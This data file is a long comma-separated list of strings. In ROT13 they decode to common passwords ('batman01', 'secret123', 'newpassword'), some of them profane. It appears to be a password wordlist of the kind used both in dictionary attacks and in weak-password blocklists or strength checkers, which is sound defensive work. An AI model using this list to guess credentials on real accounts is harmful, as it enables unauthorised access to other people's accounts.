vfg,oevggna,isesuwqs,qbp123,cybxvwhu,rzrenyq1,ongzna01,frensvz,ryrzragn,fbppre9,sbbgybat,pguhggqok,uncxvqb,rntyr123,trgfzneg,trgvgba,ongzna2,znfbaf,znfgvss,098890,psisus,wnzrf7,nmnyrn,furevs,fnha24865709,123erq,paugewcs,znegvan1,chccre,zvpunry5,nyna12,funxve,qriva1,un8slc,cnybz,znzhyln,gevccl,qrreuhagre,uncclbar,zbaxrl77,3zgn3,123456789s,pebjaivp,grbqbe,anghfvx,0137485,ibipuvx,fgehggre,gevhzcu1,pirgbx,zberzbar,fbaara,fperjony,nxven1,frkabj,creavyyr,vaqrcraq,cbbcvrf,fnzncv,xopokes,znfgre22,fjrgynan,hepuva,ivcre2,zntvpn,fyhecrr,cbfgvg,tvytnzrf,xvffnezl,pyhocrathva,yvzcovmx,gvzore1,pryva,yvyxvz,shpxuneq,ybaryl1,zbz123,tbbqjbbq,rkgnfl,fqfnqrr23,sbktybir,znyvobt,pynex1,pnfrl2,furyy1,bqrafr,onyrsver,qphavgrq,phoovr,cvree,fbyrv,161718,objyvat1,nerlhxrfp,ongobl,e123456,1cvbarr,znezrynq,znlaneq1,pa42dw,psirusd,urnguebj,dnmkpioa,pbaarpgv,frperg123,arjsvr,kmfnjd21,ghovgmra,avxhfun,ravtzn1,lspam123,1nhfgva,zvpunryp,fcyhatr,jnatre,cunagbz2,wnfba2,cnva4zr,cevzrgvzr21,onorf1,yvoregr,fhtneenl,haqreteb,mbaxre,ynonggf,qwuwls,jngpu1,rntyr5,znqvfba2,pagtsves,fnfun2,znfgrepn,svpgvba7,fyvpx50,oehvaf1,fntvgnev,12481632,cravff,vafhenap,2o8evrqg,12346789,zepyrna,ffcgk452,gvffbg,d1j2r3e4g5l6h7,ningne1,pbzrg1,fcnpre,ioewxs,cnff11,jnaxre1,14iodx9c,abfuvg,zbarl4zr,fnlnan,svfu1234,frnjnlf,cvccre,ebzrb123,xneraf,jneqbt,no123456,tbevyyn1,naqerl123,yvsrfhpxf,wnzrfe,4jpdwa,ornezna,tybpx22,zngg11,qsyoies,oneov,znvar1,qvzn1997,fhaalobl,6owicr,onatxbx1,666666d,ensvxv,yrgzrva0,0enmvry0,qnyyn,ybaqba99,jvyqguva,cngelpwn,fxlqbt,dpnpgj,gzwka151,ldyte667,wvzzlq,fgevcpyho,qrnqjbbq,863notft,ubefrf1,da632b,fpngzna,fbavn1,fhoebfn,jbynaq,xbyln,puneyvr4,zbyrzna,w12345,fhzzre11,natry11,oynfra,fnaqny,zlarjcnf,ergynj,pnzoevn,zhfgnat4,abunpx04,xvzore45,sngqbt,znvqra1,ovtybnq,arpeba,qhcbag24,tubfg123,gheob2,.xglzes,enqntnfg,onymnp,ifribybq,cnaxnw,netraghz,2ovtgvgf,znznorne,ohzoyrorr,zrephel7,znqqvr1,pubzcre,wd24ap,fabbxl,chfflyvp,1ybiref,gnygbf,jnepuvyq,qvnoyb66,wbwb12,fhzrexv,niraghen,tnttre,naaryvrf,qehzfrg,phzfubgf,nmvzhg,123580,pynzonxr,ozj540,oveguqnl54,cffjeq,cntnavav,jvyqjrfg,svyvoreg,grnfrzr,1grfg,fpnzcv,guhaqre5,nagbfun,checyr12,fhcrefrk,uuuuuu1,oehwnu,111222333n,13579n,oitgusawu,4506802n,xvyyvnaf,pubpb,dddjjjrrr,enltha,1tenaq,xbrgfh13,funec1,zvzv92139,snfgsbbq,vqbagpner,oyhrerq,pubpubm,4m3ny0gf,gnetrg1,furssvry,ynoeng,fgnyvatenq,147123,phosna,pbeirgg1,ubyqra1,fanccre1,4071505,nznqrb,cbyyb,qrfcrenqbf,ybirfgbel,znepbcbyb,zhzoyrf,snzvylthl,xvzpurr,znepvb,fhccbeg1,grxvyn,fultvey1,gerxxvr,fhozvffv,vynevn,fnynz,ybirh,jvyqfgne,znfgre69,fnyrf1,argjner,ubzre2,nefravl,treevgl1,enfcoree,ngerlh,fgvpx1,nyqevp,graavf12,zngnunev,nybubzben,qvpnavb,zvpunr1,zvpunryq,666111,yhioht,oblfpbhg,rfzrenyq,zwbeqna,nqzveny1,fgrnzobn,616913,louqsls,557711,555999,fhaenl,ncbxnyvcfvf,gurebp,ozj330,ohmml,puvpbf,yrahfvx,funqbjzn,rntyrf05,444222,crnegerr,ddd123,fnaqznaa,fcevat1,430799,cungnff,naqv03,ovaxl1,nefpu,onzon,xraal123,snobybhf,ybfre123,cbbc12,znzna,cubobf,grpngr,zlkjbeyq4,zrgebf,pbpbevpb,abxvn6120,wbuaal69,ungre,fcnaxrq,313233,znexbf,ybir2011,zbmneg1,ivxgbevl,erppbf,331234,ubealbar,ivgrffr,1hz83m,55555d,cebyvar,i12345,fxnira,nyvmrr,ovzvav,srareonupr,543216,mnddnm,cbv123,fgnovyb,oebjavr1,1djregl1,qvarfu,onttvaf1,1234567g,qnivqxva,sevraq1,yvrghin,bpgbchff,fcbbxf,12345dd,zlfuvg,ohggsnpr,cnenqbkk,cbc123,tbysva,fjrrg69,estuoc,fnzohpn,xnlnx1,obthf1,tveym,qnyynf12,zvyyref,123456mk,bcrengvb,ceniqn,rgreany1,punfr123,zbebav,cebhfg,oyhrqhpx,uneevf1,erqonepu,996699,1010101,zbhpur,zvyyraav,1123456,fpber1,1234565,1234576,rnr21157,qnir12,chffll,tsvs1991,1598741,ubccl,qneevna,fabbtvaf,snegsnpr,vpuovaf,isxoles,ehfenc,2741001,slsewlys,ncevyf,snier,guvfvf,onaanan,freiny,jvtthz,fngfhzn,zngg123,vina123,thyzven,123mkp123,bfpne2,npprf,naavr2,qentba0,rzvyvnab,nyygung,cnwneb,nznaqvar,enjvfjne,fvarnq,gnffvr,xnezn1,cvttlf,abxvnf,bevbaf,bevtnzv,glcr40,zbaqb,sreergf,zbaxre,ovgrzr2,tnhagyrg,nexunz,nfpban,vatenz01,xyrz1,dhvpxfvy,ovatb123,oyhr66,cynmzn,basver,fubegvr,fcwsrg,123963,gurerq,sver777,ybovgb,ionyy,1puvpxra,zbbfrurn,ryrsnagr,onor23,wrfhf12,cnenyynk,rysfgbar,ahzore5,fuebbzf,serln,unpxre1,ebkrggr,fabbcf,ahzore7,sryyvav,qgyzis,puvttre,zvffvba1,zvgfhovf,xnaana,juvgrqbt,wnzrf01,tuwtrpe,esastrxzas,rirelguv,trganxrq,cergglob,flyina,puvyyre,pneeren4,pbjob,ovbpurz,nmohxn,djreglhvbc1,zvqavtug1,vasbezng,nhqvb1,nyserq1,0enatr,fhpxre1,fpbgg2,ehffynaq,1rntyr,gbeora,qwxewysq,ebpxl6,znqql1,obabob,cbegbf,puevffv,kwmad5,qrkgr,iqykhp,grneqebc,cxgzke,vnzgurbar,qnavwryn,rlcurq,fhmhxv1,rgijj4,erqgnvy,enatre11,zbjrezna,nffubyr2,pbbyxvq,nqevnan1,obbgpnzc,ybatphg,rirgf,aclke5,ovtuheg,onffzna1,fgelqre,tvoyrg,anfgwn,oynpxnqq,gbcsyvgr,jvmne,phzabj,grpuabyb,onffobng,ohyyvgg,xhtz7o,znxfvzhf,jnaxref,zvar12,fhasvfu,cvzcva1,furnere9,hfre1,iwmtwkas,glpboo,80070633cp,fgnayl,ivgnyl,fuveyrl1,pvamvn,pnebyla1,natryvdh,grnzb,dqnepi,nn123321,entqbyy,obavg,ynqlyhpx,jvttyl,ivgnen,wrgonynapr,12345600,bmmzna,qvzn12345,zlohqql,fuvyb,fngna66,rerohf,jneevb,090808djr,fghcv,ovtqna,cnhy1234,puvncrg,oebbxf1,cuvyyl1,qhnyyl,tbjrfg,snezre1,1dn2jf3rq4es,nyoregb1,ornpuobl,onear,nn12345,nyvlnu,enqzna,orafba1,qsxguod,uvtuonyy,obabh2,v81h812,jbexvg,qnegre,erqubbx,pfsoe5ll,ohggybir,rcvfbqr1,rjlhmn,cbegubf,ynyny,nopq12,cncreb,gbbfrkl,xrrcre1,fvyire7,whwvgfh,pbefrg,cvybg123,fvzbafnl,cvattbys,xngrevaxn,xraqre,qehax1,slyuwigys,enfuzv,avtugunjx,znttl,whttreanhg,yneelo,pnovooyr,slnops,247365,tnatfgne,wnlorr,irelpbby,123456789dj,sbeovqqr,cehsebpx,12345mkp,znynvxn,oynpxohe,qbpxre,svyvcr,xbfurpuxn,trzzn1,qwnznny,qspoxzgqs,tnatfg,9988nn,qhpxf1,cguesxw,chregbevpb,zhccrgf,tevssvaf,juvccrg,fnhore,gvzbsrl,ynevafb,123456789mkp,dhvpxra,dfrsgu,yvgrba,urnqpnfr,ovtqnqq,mkp321,znavnx,wnzrfp,onffznfg,ovtqbtf,1tveyf,123kkk,genwna,yrebpuxn,abttva,zgaqrj,04975756,qbzva,jre123,shznapuh,ynzonqn,gunaxtbq,whar22,xnlnxvat,cngpul,fhzzre10,gvzrcnff,cbvh1234,xbaqbe,xnxxn,ynzrag,mvqnar10,686kdkst,y8i53k,pnirzna1,asiguxsl,ubylzbyl,crcvgn,nyrk1996,zvshar,svtugre1,nffyvpxre,wnpx22,nop123nop,mnkkba,zvqavtu,jvaav,cfnyz23,chaxl,zbaxrl22,cnffjbeq13,zlzhfvp,whfglan,naahfuxn,yhpxl5,oevnaa,495ehf19,jvguybir,nyznm,fhcretve,zvngn,ovatobat,oenqcvgg,xnznfhge,lstwxgwl,inazna,crtyrt,nzfgreqnz1,123n321,yrgzrva9,fuvina,xbeban,ozj520,naarggr1,fpbgfzna,tnaqny,jrypbzr12,fp00ol,dcjbrv,serq69,z1fs1g,unzohet1,1npprff,qsxzeouom,rkpnyvor,obbovrf1,shpxubyr,xnenzry,fgneshpx,fgne99,oernxsnf,trbetvl,ljikcm,fznfure,sngpng1,nyynaba,12345a,pbbaqbt,junpxb,ninyba1,fplgur,fnno93,gvzba,xubear,ngynfg,arzvfvf,oenql12,oyraurvz,52678677,zvpx7278,9fxj5t,syrrgjbb,ehtre1,xvffnff,chffl7,fpehss,12345y,ovtsha,iczsfm,lkxpx878,ritral,55667788,yvpxure,sbbguvyy,nyrfvf,cbccvrf,77777778,pnyvsbeav,znaavr,onegwrx,dukovw,guruhyx,kveg2x,natryb4rx,esxzerxmawu,gvaubefr,1qnivq,fcnexl12,avtug1,yhbwvnauhn,obooyr,arqreynaq,ebfrznev,geniv,zvabh,pvfpbxvq,orruvir,565uytdb,nycvar1,fnzfhat123,genvazna,kcerff,ybtvfgvp,ij198z2a,unagre,mndjfk123,djnfm,znevnpuv,cnfxn,xzt365,xnhyvgm,fnfun12,abegu1,cbyneorne,zvtugl1,znxrxfn11,123456781,bar4nyy,tynqfgba,abgbevbh,cbyavlcvmqrp110211,tbfvn,tenaqnq,kubyrf,gvzbsrv,vainyvqc,fcrnxre1,mnunebi,znttvrzn,ybvfynar,tbabyrf,oe5499,qvfptbys,xnfxnq,fabbcre,arjzna1,oryvny,qrzvtbq,ivpxl1,cevqhebx,nyrk1990,gneqvf1,pehmre,ubeavr,fnpenzra,onolpng,ohehaqhx,znex69,bnxynaq1,zr1234,tzpgehpx,rkgnpl,frkqbt,chgnat,cbccra,ovyylq,1dnm2j,ybirnoyr,tvzyrg,nmjrovgnyvn,entgbc,198500,djrnf,zveryn,ebpx123,11oenib,fcerjryy,gvterabx,wnerqyrgb,isuovs,oyhr2,evzwbo,pngjnyx,fvtfnhre,ybdfr,qbebzvpu,wnpx01,ynfbzoen,wbaal5,arjcnffjbeq,cebsrfbe,tnepvn1,123nf123,pebhpure,qrzrgre,4_yvsr,esusigxz,fhcrezna2,ebthrf,nffjbeq1,ehffvn1,wrss1,zlqernz,m123456789,enfpny1,qneer,xvzorey,cvpxyr1,mgzspd,cbapuvx,ybirfcbea,uvxnev,tfton368,cbeabzna,puowha,pubccl,qvttvgl,avtugjbys,ivxgbev,pnzne,isurpzes,nyvfn1,zvafgery,jvfuznfgre,zhyqre1,nyrxf,tbtvey,tenpryna,8jbzlf,uvtujvaq,fbyfgvpr,qoeawuwqls,avtugzna,cvzzry,orregwr,zf6ahq,jjsjpj,sk3ghb,cbbcsnpr,nffung,qveglq,wvzval,yhi2shpx,cgloakgitowl,qentarg,cbeabten,10vapu,fpneyrg1,thvqb1,envagerr,i123456,1nnnnnnn,znkvz1935,ubgjngre,tnqmbbxf,cynlnm,uneev,oenaqb1,qrspba1,vinaan,123654n,nefrany2,pnaqryn,ag5q27,wnvzr1,qhxr1,ohegba1,nyyfgne1,qentbf,arjcbvag,nyonpber,1236987m,ireltbbqobg,1jvyqpng,svful1,cgxglfd,puevf11,chfpury,vgqkglew,7xor9q,frecvpb,wnmmvr,1mmmmm,xvaqohqf,jrars45313,1pbzchgr,gnghat,fneqbe,tslspwloe,grfg99,gbhpna,zrgrben,ylfnaqre,nffpenpx,wbjtak,uriaz4,fhpxguvf,znfun123,xnevaxn,znevg,bdtyu565,qentba00,iiiooo,purohenfuxn,iseses,qbjaybj,hasbetvira,c3r85ge,xvz123,fvyylobl,tbyq1,tbysie6,dhvpxfna,vebpuxn,sebtyrtf,fubegfgb,pnyro1,gvfuxn,ovtgvggf,fzhesl,obfgb,qebcmbar,abpbqr,wnmmonff,qvtqht,terra7,fnygynxr,gureng,qzvgevri,yhavgn,qrnqqbt,fhzzre0,1212dd,oboolt,zgl3eu,vfnnp1,thfure,uryybzna,fhtneorne,pbeinve,rkgerz,grngvzr,ghwnmbcv,gvgnavx,rslert,wb9x2wj2,pbhapunp,gvibyv,hgwigauom,orovg,wnpbo6,pynlgba1,vaphohf1,synfu123,fdhvegre,qvzn2010,pbpx1,enjxf,xbzngfh,sbegl2,98741236,pnwha1,znqryrva,zhqubarl,zntbzrq,d111111,dnfjrq,pbafrafr,12345o,onxnlneb,fvyrapre,mbvaxf,ovtqvp,jrejbys,cvaxchff,96321478,nysvr1,nyv123,fnevg,zvarggr,zhfvpf,pungb,vnnccgspbe,pbonxn,fgehzcs,qngavttn,fbavp123,lsarpoe,iwmpgizm,cnfgn1,gevooyrf,penfure,ugyopes,1gvtre,fubpx123,ornefune,flcuba,n654321,phoovrf1,wyunarf,rlrfcl,shpxgurjbeyq,pneevr1,ozj325vf,fhmhx,znaqre,qbevan,zvguevy,ubaqb1,isuaolo,fnpurz,arjgba1,12345k,7777755102d,230857m,kkkfrk,fphonceb,unlnfgna,fcnaxvg,qrynfbhy,frnebpx6,snyybhg3,avyerz,24681357,cnfuxn,ibyhagrr,cunebu,jvyyb,vaqvn1,onqobl69,ebsyznb,thafyvatre,ybiretve,znzn12,zrynatr,640kjsxi,pungba,qnexxavt,ovtzna1,nnooppqq,uneyrlq,ovequbhfr,tvttfl,uvnjngun,gvorevhz,wbxre7,uryyb1234,fybbcl,gz371855,terraqbt,fbyne1,ovtabfr,qwbua11,rfcnaby,bfjrtb,vevqvhz,xnivgun,cniryy,zvewnz,plwqfihwywi,nycun5,qryhtr,unzzr,yhagvx,ghevfzb,fgnfln,xwxoas,pnrfre,fpuarpxr,gjrrgl1,genysnm,ynzoergg,cebqvtl1,gefgab1,cvzcfuvg,jregl1,xnezna,ovtobbo,cnfgry,oynpxzra,znggurj8,zbbzva,d1j2r,tvyyl,cevznire,wvzzlt,ubhfr2,ryivff,15975321,1wrffvpn,zbanyvmn,fnyg55,islysuoles,uneyrl11,gvpxyrzr,zheqre1,ahetyr,xvpxnff1,gurerfn1,sbeqgehpx,cnetbys,znanthn,vaxbtavgb,fureel1,tbgvg,sevrqevp,zrgeb2033,fyx230,serrcbeg,pvtnergg,492529,isupgxz,gurornpu,gjbpngf,onxhtna,lmrezna1,puneyvro,zbgbxb,fxvzna,1234567j,chffl3,ybir77,nfraan,ohssvr,260magcp,xvaxbf,npprff20,znyyneq1,shpxlbh69,zbanzv,eeeee1,ovtqbt69,zvxbyn,1obbzre,tbqmvyn,tvatre2,qvzn2000,fxbecvba39,qvzn1234,unjxqbt79,jneevbe2,ygyrves,fhcen1,wrehfnyr,zbaxrl01,333m333,666888,xryfrl1,j8txm2k1,sqsasu,zfakov,djr123egl,znpu1,zbaxrl3,123456789dd,p123456,armnohqxn,onepynlf,avffr,qnfun1,12345678987654321,qvzn1993,byqfcvpr,senax2,enoovgg,cergglobl,bi3nwl,vnzgurzn,xnjnfnx,onawb1,tgvie6,pbyynagf,tbaqbe,uvorrf,pbjoblf2,pbqsvfu,ohfgre2,chemry,eholerq,xnlnxre,ovxreobl,dthilg,znfure,ffrrkk,xrafuveb,zbbatybj,frzrabin,ebfnev,rqhneq1,qrygnsbepr,tebhcre,obatb1,grzctbq,1gnlybe,tbyqfvax,dnmkfj1,1wrfhf,z69st2j,znkvzvyv,znelfvn,uhfxre1,xbxnarr,fvqrbhg,tbbty,fbhgu1,cyhzore1,gevyyvna,00001,1357900,snexyr,1kkkkk,cnfpun,rznahryn,onturren,ubhaq1,zlybi,arjwrefrl,fjnzcsbk,fnxvp19,gberl,trsbepr,jh4rgq,pbaenvy,cvtzna,znegva2,ore02,anfpne2,natry69,onegl,xvgfhar,pbearg,lrf90125,tbbzon,qnxvat,nagurn,fvineg,jrngure1,aqnfjs,fpbhovqbh,znfgrepuvrs,erpghz,3364068,benatrf1,pbcgre,1fnznagu,rqqvrf,zvzbmn,nusljom,prygvp88,86zrgf,nccyrznp,nznaqn11,gnyvrfva,1natry,vzurer,ybaqba11,onaqvg12,xvyyre666,orre1,06225930,cflybpxr,wnzrf69,fpuhznpu,24cam6xp,raqlzvba,jbbxvr1,cbvh123,oveqynaq,fzbbpuvr,ynfgbar,epynxv,byvir1,cveng,guhaqre7,puevf69,ebpxb,151617,qwt4oo4o,ynccre,nwphviq289,pbybyr57,funqbj7,qnyynf21,nwgqzj,rkrphgvi,qvpxvrf,bzrtnzna,wnfba12,arjunira,nnnnnnf,czqzfpgf,f456123789,orngev,nccyrfnhpr,yrirybar,fgencba,oraynqra,pernira,ggggg1,fnno95,s123456,cvgohy,54321n,frk12345,eboreg3,ngvyyn,zrirsnyxpnxx,1wbuaal,irrqho,yvyyrxr,avgfhw,5g6l7h8v,grqqlf,oyhrsbk,anfpne20,ijwrggn,ohssl123,cynlfgngvba3,ybiree,djrnfq12,ybire2,gryrxbz,orawnzva1,nyrznavn,arhgevab,ebpxm,inywrna,grfgvpyr,gevavgl3,ernygl,sverfgnegre,794613852,neqinex,thnqnyhc,cuvyzbag,neabyq1,ubynf,mj6flw,oveguqnl299,qbire1,frkkl1,tbwrgf,741236985,pnapr,oyhr77,kmvovg,djregl88,xbznebin,djrfmkp,sbbgre,envatre,fvyirefg,tuwpao,pngznaqb,gngbbvar,31217221027711,nznytnz,69qhqr,djregl321,ebfpbr1,74185,phool,nysn147,creel1,qnebpx,xngznaqh,qnexavtug,xavpxf1,serrfghss,45454,xvqzna,4gyirq,nkyebfr,phgvr1,dhnaghz1,wbfrcu10,vpuvtb,cragvhz3,esurpgxz,ebjql1,jbbqfvax,whfgsbesha,firgn123,cbeabtensvn,zeorna,ovtcvt,ghwurves,qrygn9,cbegfzbh,ubgobq,xnegny,10111213,sxols001,cniry1,cvfgbaf1,arpebznapre,iretn,p7yejh,qbbore,gurtnzr1,ungrflbh,frkvfsha,1zryvffn,ghpmab18,objuhagr,tbonzn,fpbepu,pnzcrba,oehpr2,shqtr1,urecqrec,onpba1,erqfxl,oynpxrlr,19966991,19992000,evcxra8,znfgheon,34524815,cevznk,cnhyvan1,ic6l38,427pboen,4qjiww,qenpba,sxt7u4s3i6,ybativrj,nenxvf,cnanzn1,ubaqn2,yxwutsqfnm,enmbef,fgrryf,sdxj5z,qvbalfhf,znevnwbf,fbebxn,raevdh,avffn,onebyb,xvat1234,ufusq4a279,ubyynaq1,sylre1,gobarf,343104xl,zbqrzf,gx421,loeoaes,cvxncc,fherfubg,jbbqqbbe,sybevqn2,zeohatyr,irpzes,pngfqbtf,nkbybgy,abjnlbhg,senapbv,puevf21,gbranvy,unegynaq,nfqwxy,avxxvv,bayllbh,ohpxfxva,sabeq,syhgvr,ubyra1,evaprjvaq,yrsgl1,qhpxl1,199000,siguoes,erqfxva1,elab23,ybfgybir,19zgctnz19,norepebz,orauhe,wbeqna11,ebsypbcgre,enazn,cuvyyrfu,nibaqnyr,vtebznavn,c4ffjbeq,wraal123,gggggg1,fclpnzf,pneqvtna,2112llm,fyrrcl1,cnevf123,zbcnef,ynxref34,uhfgyre1,wnzrf99,zngevk3,cbcvzc,12cnpx,rttoreg,zrqirqri,grfgvg,cresbezn,ybtvgrp,znevwn,frklornfg,fhcreznaobl,vjnagvg,ewxgpw,wrssre,finebt,unyb123,juqogc,abxvn3230,urlwbr,znevyla1,fcrrqre,vokafz,cebfgbpx,oraalobl,punezva,pbqlqbt,cneby999,sbeq9402,wvzzre,penlbyn,159357258,nyrk77,wbrl1,pnlhtn,cuvfu420,cbyvtba,fcrpbcf,gnenfbin,pnenzryb,qenpbavf,qvzba,plmxuj,whar29,trgorag,1thvgne,wvzwnz,qvpgvban,funzzl,sybgfnz,0bxz9vwa,penccre,grpuavp,sjfnqa,eusqkglew,mnd11dnm,nasvryq1,159753d,phevbhf1,uvc-ubc,1vvvvv,tsuwxz2,pbpgrnh,yvirrivy,sevfxvr,penpxurnq,o1nsen,ryrxgevx,ynapre1,o0yy0pxf,wnfbaq,m1234567,grzcrfg1,nynxnmnz,nfqsnfq,qhssl1,barqnl,qvaxyr,dnmrqpgto,xnfvzve,unccl7,fnynzn,ubaqnpvi,anqrmqn,naqerggv,pnaabaqnyr,fcnegvph,maoiwq,oyhrvpr,zbarl01,svafgre,ryqne,zbbfvr,cnccn,qrygn123,arehqn,ozj330pv,wrnacnhy,znyvoh1,nyrigvan,fborvg,genibygn,shyyzrgny,ranzbenq,znhfv,obfgba12,terttl,fzhes1,engenpr,vpuvona,vybirchf,qnivqt,jbys69,ivyyn1,pbpbchss,sbbgonyy12,fgneshel,mkp12345,sbeserr,snvesvry,qernzf1,gnlfba,zvxr2,qbtqnl,urw123,byqgvzre,fnacrqeb,pyvpxre,zbyylpng,ebnqfgne,tbysr,yioauod1,gbcqrivpr,n1o2p,frinfgbcby,pnyyv,zvybfp,sver911,cvax123,grnz3k,abyvzvg5,favpxref1,naavrf,09877890,wrjry1,fgrir69,whfgva11,nhgrpuer,xvyyreor,oebjapbj,fynin1,puevfgre,snagbzra,erqpybhq,ryraoret,ornhgvshy1,cnffj0eq1,anmven,nqinagnt,pbpxevat,punxn,ewcmqes,99941,nm123456,ovbunmne,raretvr,ohooyr1,ozj323,gryyzr,cevagre1,tynivar,1fgnejne,pbbyornaf,ncevy17,pneyl1,dhntzver,nqzva2,qwxhwhusy,cbagbba,grkzrk,pneybf12,gurezb,inm2106,abhtng,obo666,1ubpxrl,1wbua,pevpxr,djregl10,gjvam,gbgnyjne,haqrejbb,gvwtre,yvyqrivy,123d321,treznavn,serqqq,1fpbgg,orrsl,5g4e3r2j1d,svfuonvg,abool,ubttre,qafghss,wvzzlp,erqxancc,synzr1,gvasybbe,onyyn,asasuol,lhxba1,ivkraf,ongngn,qnaal123,1mkpioaz,tnrgna,ubzrjbbq,terngf,grfgre1,terra99,1shpxre,fp0gynaq,fgneff,tybev,neaurz,tbngzna,1234nfq,fhcregen,ovyy123,rythncb,frklyrtf,wnpxelna,hfzp69,vaabj,ebnqqbt,nyhxneq,jvagre11,penjyre,tbtvnagf,eiq420,nyrffnaqe,ubzrtebj,tbooyre,rfgron,inyrevl,unccl12,1wbfuhn,unjxvat,fvpanes,jnlarf,vnzunccl,onlnqren,nhthfg2,fnfunf,tbggv,qentbasver,crapvy1,unybtra,obevfbi,onffvatj,15975346,mnpune,fjrrgc,fbppre99,fxl123,syvclbh,fcbgf3,knxrcl,plpybcf1,qentba77,enggbyb58,zbgbeurn,cvyvtevz,uryybjrra,qzo2010,fhcrezra,funq0j,rngphz,fnaqbxna,cvatn,hsxseaoes,ebxfnan,nzvfgn,chffre,fbal1234,nmregl1,1dnfj2,tuoqg,d1j2r3e4g5l6h7v8,xghglys,oerumari,mnronyv,fuvgnff,perbfbgr,twegiwl,14938685,anhtuglobl,crqeb123,21penpx,znhevpr1,wbrfnxvp,avpbynf1,znggurj9,yolsus,rybpva,usptocymd,crccre123,gvxgnx,zlpebsg,elna11,sversyl1,neevin,plrpiriuoe,yberny,crrqrr,wrffvpn8,yvfn01,nanznev,cvbark,vcnarzn,nveont,sesygiom,123456789nn,rcje49,pnfcre12,fjrrgurne,fnanaqernf,jhfpury,pbpbqbt,senapr1,119911,erqebfrf,rerina,kgitowl,ovtsryyn,trarir,ibyib850,rirezber,nzl123,zbkvr,pryrof,trrzna,haqrejbe,unfyb1,wbl123,unyybj,puryfrn0,12435687,nonegu,12332145,gnmzna1,ebfuna,lhzzvr,travhf1,puevfq,vybiryvsr,friragl7,dnm1jfk2,ebpxrg88,tnheni,oboolobl,gnhpura,eboregf1,ybpxfzvg,znfgrebs,jjj111,q9haty,ibyibf40,nfqnfq1,tbysref,wvyyvna1,7kz5ed,nejcyf4h,toups2,ryybpb,sbbgonyy2,zhregr,obo101,fnoongu1,fgevqre1,xvyyre66,abglbh,ynjaobl,qr7zqs,wbuaalo,ibbqbb2,fnfunn,ubzrqrcb,oenibf,avunb123,oenvaqrn,jrrqurnq,enwrri,negrz1,pnzvyyr1,ebpxff,oboolo,navfgba,seauops,bnxevqtr,ovfpnlar,pkspaz,qerffntr,wrfhf3,xryylnaa,xvat69,whvyyrg,ubyyvfgr,u00gref,evcbss,123645,1999ne,revp12,123777,gbzzv,qvpx12,ovyqre,puevf99,ehyrmm,trgcnvq,puvphof,raqre1,olnwuisaoes,zvyxfunx,fx8obneq,sernxfubj,nagbaryyn,zbabyvg,furyo,unaanu01,znfgref1,cvgohyy1,1znggurj,yhichffl,ntoqypvq,cnagure2,nycunf,rhfxnqv,8318131,ebaavr1,7558795,fjrrgtvey,pbbxvr59,frdhbvn,5552555,xglkoe,4500455,zbarl7,frirehf,fuvaboh,qovgles,cuvfvt,ebthr2,senpgny,erqserq,fronfgvna1,aryyv,o00zre,plorezna,mdwcufls6pgvsth,byqfzbovyr,erqrrzre,cvzcv,ybiruhegf,1fynlre,oynpx13,eglasqu,nveznk,t00tyr,1cnagure,negrzba,abcnffjb,shpx1234,yhxr1,gevavg,666000,mvnqzn,bfpneqbt,qnirk,unmry1,vftbbq,qrzbaq,wnzrf5,pbafgehp,555551,wnahnel2,z1911n1,synzrobl,zreqn,anguna12,avpxynhf,qhxrfgre,uryyb99,fpbecvb7,yrivnguna,qspoxge,cbhedhbv,isepoi123,fuybzb,esptgu,ebpxl3,vtangm,nwuarls,ebtre123,fdhrrx,4815162342n,ovfxvg,zbffvzb,fbppre21,tevqybpx,yhaxre,cbcfgne,tuuu47uw764,puhgarl,avgrunjx,ibegrp,tnzzn1,pbqrzna,qenthyn,xnccnfvt,envaobj2,zvyruvtu,oyhronyyf,bh8124zr,ehyrflbh,pbyyvatj,zlfgrer,nfgre,nfgebina,svergehpx,svfpur,penjsvfu,ubealqbt,zberorre,gvtrecnj,enqbfg,144000,1punapr,1234567890djr,tenpvr1,zlbcvn,bkaneq,frzvabyrf,ritrav,rqineq,cneglgvz,qbznav,ghssl1,wnvzngnqv,oynpxznt,xmhrves,crgreabe,zngurj1,znttvr12,uraelf,x1234567,snfgrq,cbmvgvi,psqgxod,wrffvpn7,tbyrnsf,onaqvgb,tvey78,funevatna,fxluvtu,ovtebo,mbeebf,cbbcref,byqfpubb,cragvhz2,tevccre,abepny,xvzon,negvyyre,zbarlznx,00197400,272829,funqbj1212,gurohyy,unaqontf,nyy4h2p,ovtzna2,pvivpf,tbqvftbb,frpgvba8,onaqnvq,fhmnaar1,mbeon,159123,enprpnef,v62tod,enzob123,vebaebnq,wbuafba2,xabool,gjvaoblf,fnhfntr1,xryyl69,ragre2,euwves,lrffff,wnzrf12,nathvyyn,obhgvg,vttlcbc,ibibpuxn,06060,ohqjvfre,ebzhnyq,zrqvgngr,tbbq1,fnaqeva,urexhyrf,ynxref8,ubarlorn,11111111n,zvpur,enatref9,ybofgre1,frvxb,orybin,zvqpba,znpxqnqq,ovtqnqql1,qnqqvr,frchyghe,serqql12,qnzba1,fgbezl1,ubpxrl2,onvyrl12,urqvzncgspbe,qpbjoblf,fnqvrqbt,guhttva,ubeal123,wbfvr1,avxxv2,ornire69,crrjrr1,zngrhf,ivxgbevwn,oneelf,phofjva1,zngg1234,gvzbkn,evyrlqbt,fvpvyvn,yhpxlpng,pnaqlone,whyvna1,nop456,chfflyvc,cunfr1,npnqvn,pnggl,246800,riregbas,obwnatyr,dmjkrp,avxbynw,snoevmv,xntbzr,abapncn0,zneyr,cbcby,ununun1,pbffvr,pneyn10,qvttref,fcnaxrl,fnatrrgn,phppvbyb,oerrmre,fgnejne1,pbeaubyvb,enfgnsnev,fcevat99,lllllll1,jrofgne,72q5ga,fnfun1234,vaubhfr,tbohssf,pvivp1,erqfgbar,234523,zvaavr1,evinyqb,natry5,fgv2000,krabpvqr,11dd11,1cubravk,urezna1,ubyyl123,gnyythl,funexf1,znqev,fhcreonq,ebava,wnyny123,uneqobql,1234567e,nffzna1,ivinungr,ohqqlyrr,38972091,obaqf25,40028922,deuzvf,jc2005,prrwnl,crccre01,51842543,erqehz1,eragba,inenqreb,gikgwx7e,irggrzna,qwuioep,pheyl1,sehvgpnx,wrffvpnf,znqheb,cbczneg,nphnev,qvexcvgg,ohvpx1,oretrenp,tbyspneg,cqgcywkes,ubbpu1,qhqrybir,q9rox7,123452000,nsqwuoa,terrare,123455432,cnenpuhg,zbbxvr12,123456780,wrrcpw5,cbgngbr,fnaln,djregl2010,jndj3c,tbgvxn,sernxl1,puvuhnuh,ohppnarr,rpfgnpl,penmlobl,fyvpxevp,oyhr88,sxgqaols,2004ew,qrygn4,333222111,pnyvrag,cgoquj,1onvyrl,oyvgm1,furvyn1,znfgre23,ubntvr,cls8nu,beovg